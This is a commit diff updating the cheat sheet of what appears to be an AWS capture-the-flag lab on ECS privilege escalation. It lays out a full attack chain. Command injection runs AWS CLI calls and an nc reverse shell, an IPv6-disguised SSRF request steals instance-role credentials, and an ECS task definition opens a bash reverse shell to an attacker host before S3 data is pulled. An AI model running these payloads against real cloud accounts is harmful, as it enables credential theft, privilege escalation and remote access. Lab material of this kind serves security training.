Update scenario's cheat_sheet.md.

Author: 3iuy-prog

scenarios/ecs_privesc_evade_protection/cheat_sheet.md

@@ -4,15 +4,17 @@ Go to `http://<ec2_ip_address>`
 
 ### Command Injection
 
-```
+```bash
+# Command Injection on web.
 ; aws s3 ls
 ; aws s3 ls s3://<bucket-name>/
 ; aws s3 cp s3://<bucket-name>/flag.txt .
 ; cat flag.txt
 ```
 
 ### SSRF
-```
+
+```bash
 # SSRF Attack.
 http://<ec2_ip_address>/?url=http://[::ffff:a9fe:a9fe]/latest/meta-data/iam/security-credentials/<role>
 
@@ -34,62 +36,109 @@ Go to `http://<ec2_ip_address>`
 
 ### SSRF
 
-```
-http://<ec2_ip_address>/?url=http://[::ffff:a9fe:a9fe]/latest/meta-data/iam/security-credentials/<role>
-aws configure --profile attacker
-echo "aws_session_token = <token>" >> ~/.aws/credentials
-```
+* Using IPv6 to SSRF on web with `http://[::ffff:a9fe:a9fe]/latest/meta-data/iam/security-credentials/<role>`
+* Get credentials & using it to your CLI profile.
+
+    ```bash
+    aws configure --profile attacker
+    echo "aws_session_token = <token>" >> ~/.aws/credentials
+    ```
 
 ### Command Injection
 
 - prepare another host for revshell attack with `nc -lvp 4000`
-- command injection on web with `; nc <ip_address> 4000 -e /bin/sh &`
+- command injection on web with `; nc <ip_address> 4000 -e /bin/sh &`nc
 
 ### For more information
 
-- more information about iam
+- more information about iam.
 
-```
-aws sts get-caller-identity
-aws iam get-role --role-name <role>
-aws iam list-attached-role-policies --role-name <role>
-aws iam list-role-policies --role-name <role>
-aws iam get-role-policy --role-name <role> --policy-name <policy>
-aws iam list-roles
-```
+    ```bash
+    aws sts get-caller-identity
+    aws iam list-roles
+    aws iam get-role --role-name <role>
+    aws iam list-attached-role-policies --role-name <role>
+    aws iam list-role-policies --role-name <role>
+    aws iam get-role-policy --role-name <role> --policy-name <policy>
+    ````
 
-- more information about ecs
+    ```bash
+    aws ecs list-clusters --region <region>
+    aws ecs describe-clusters --region <region> --clusters <cluster>
+    aws ecs list-container-instances --region <region> --cluster <cluster_arn>
+    ```
+- find available vpc subnets.
 
-```
-aws ecs list-clusters --region <region>
-aws ecs describe-clusters --region <region> --clusters <cluster>
-aws ecs list-container-instances --region <region> --cluster <cluster_arn>
-```
+    ```bash
+    aws ec2 describe-subnets --region <region>
+    ```
 
 ### ECS Privesc
 
-* Attacker prepare revshell at other public ip point with `nc -lvp 4000`.
-
-* And now come back to CLI.
-
-```
-# ECS Task definition with revshell command.
-aws ecs register-task-definition --region <region> --family <task_name> --task-role-arn <task_role_arn> --network-mode "awsvpc" --cpu 256 --memory 512 --requires-compatibilities "[\"FARGATE\"]" --container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/<revshell_ip>/<revshell_port> 0>&1\\\"\"]}]"
-
-# For run-task, find available subnets.
-aws ec2 describe-subnets --region <region>
-
-# Run task.
-aws ecs run-task --region <region> --task-definition <task_name> --cluster <cluster_arn> --launch-type FARGATE --network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"<subnet>\"]}}"
-```
-After a few minutes, the revshell will be connected by container.
-Let's do it on revshell.
+1. Attacker prepare revshell at other public ip point with `nc -lvp 4000`.
+
+2. And now come back to CLI.
+
+3. Create an ECS Task Definition JSON File:
+    
+    Create a file named task-definition.json and include the following content.
+    Replace `<region>`, `<task_name>`, `<task_role_arn>`, `<revshell_ip>`, and `<revshell_port>` with your actual values.
+
+    ```json
+    {
+      "family": "<task_name>",
+      "taskRoleArn": "<task_role_arn>",
+      "networkMode": "awsvpc",
+      "cpu": "256",
+      "memory": "512",
+      "requiresCompatibilities": ["FARGATE"],
+      "containerDefinitions": [
+        {
+          "name": "exfil_creds",
+          "image": "python:latest",
+          "entryPoint": ["sh", "-c"],
+          "command": ["/bin/bash -c \\\"bash -i >& /dev/tcp/<revshell_ip>/<revshell_port> 0>&1\\\""]
+        }
+      ]
+    }
+    ```
+
+4. Create an ECS Run Task JSON File.
+
+    Create a file named run-task.json and include the following content. Replace `<region>` and `<subnet>` with the actual values for your setup.
+
+    ```json
+    {
+      "launchType": "FARGATE",
+      "networkConfiguration": {
+        "awsvpcConfiguration": {
+          "assignPublicIp": "ENABLED",
+          "subnets": ["<subnet>"]
+        }
+      }
+    }
+    ```
+
+5. Register Task Definition and Run Task
+
+    Now, you can use the AWS CLI with the JSON files to execute the commands.
+
+    ```bash
+    # Register task definition
+    aws ecs register-task-definition --region <region> --cli-input-json file://task-definition.json
+   
+   # Run task
+    aws ecs run-task --region <region> --task-definition <task_name> --cluster <cluster_name> --cli-input-json file://run-task.json
+    ```
+
+    After a few minutes, the revshell will be connected by container.
+    Let's access to s3 on revshell.
 
 ### Access S3
 
-```
-apt-get update
-apt-get install awscli
+```bash
+apt update
+apt install awscli
 
 aws s3 ls
 aws s3 ls s3://<bucket-name>/